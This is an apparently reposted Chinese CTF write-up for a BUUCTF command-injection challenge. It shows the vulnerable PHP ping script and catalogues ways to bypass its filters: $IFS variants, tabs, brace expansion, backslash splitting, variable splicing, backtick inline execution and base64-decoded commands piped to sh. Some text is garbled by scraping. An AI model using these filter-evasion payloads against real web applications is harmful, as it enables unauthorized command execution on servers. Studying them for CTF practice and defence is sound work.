BUU命令执行

编程入门 行业动态 更新时间:2024-10-09 08:34:47

BUU<a href=https://www.elefans.com/category/jswz/34/1771323.html style=命令执行"/>

BUU命令执行

CTF题目

先来看看题目:

1、访问题目地址,很明显提示在 URL 拼接 ip 参数,结合题目名称,可猜测是考察命令执行漏洞:

2、拼接 ip 参数并尝试赋值 127.0.0.1,发现是执行力 ping 命令:

3、拼接 ls 命令尝试进行命令执行,发现了 flag.php:

4、尝试直接读取flag.php,发现存在空格过滤,读取失败:

5、尝试使用 I F S {IFS} IFS替换空格,发现过滤了{}:

6、那就尝试使用$IFS$1替换空格,可绕过空格过滤,但发现还过滤flag关键词:

7、既然 flag.php读取失败,那就先看看index.php吧,发现了过滤规则:

源码如下:

<!--?php
if(isset($_GET['ip'])){$ip = $_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\
-->
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo " ";print_r($a);
}
?>

可以看到,服务端过滤了以下字符:

& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash" 

想要读取 flag.php 文件,就必须想办法绕过上述过滤。
绕过姿势

了解完题目概况,下面就开始学习 CTF 中命令执行漏洞相关的绕过姿势。
命令联合执行

来看看命令联合执行时的一些关键词特性:
连接词	释义
;	前面的命令执行完以后,继续执行后面的命令
|	管道符,将上一条命令的输出作为下一条命令的参数(显示后面的执行结果)
||	当前面的命令执行出错时(为假)执行后面的命令
&	将任务置于后台执行
&&	前面的语句为假则直接出错,后面的也不执行,前面只能为真

比如上面的题目也可以使用| 进行命令拼接:
关键词的绕过

1、绕过空格过滤的方法

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

2、禁用 cat 的方法

ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag内联执行绕过内联,就是将反引号内命令的输出作为输入执行。?ip=127.0.0.1;cat$IFS$9`ls`$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

多种解法

学习完相关绕过姿势的理论基础,下面回到上面 CTF 实例题目中进行实战。
变量拼接

针对服务端 flag 关键词的贪婪匹配:

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");

可构造如下 Payload 绕过:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

执行效果如下:

此处顺便补充下一些通配符的方法:

内联执行

Payload:

?ip=127.0.0.1;cat$IFS$9`ls`

内联执行,就是将反引号内命令的输出作为输入执行:
在这里插入图片描述秒题大概就是这种做法吧……
Base64编码

Payload:

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

这也是官方的 Writeup,原理是既然过滤 bash,那就用 sh,sh 的大部分脚本都可以在 bash下运行:
在这里插入图片描述

更多推荐

BUU命令执行

本文发布于:2024-02-14 09:31:24,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1762755.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:命令   BUU

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!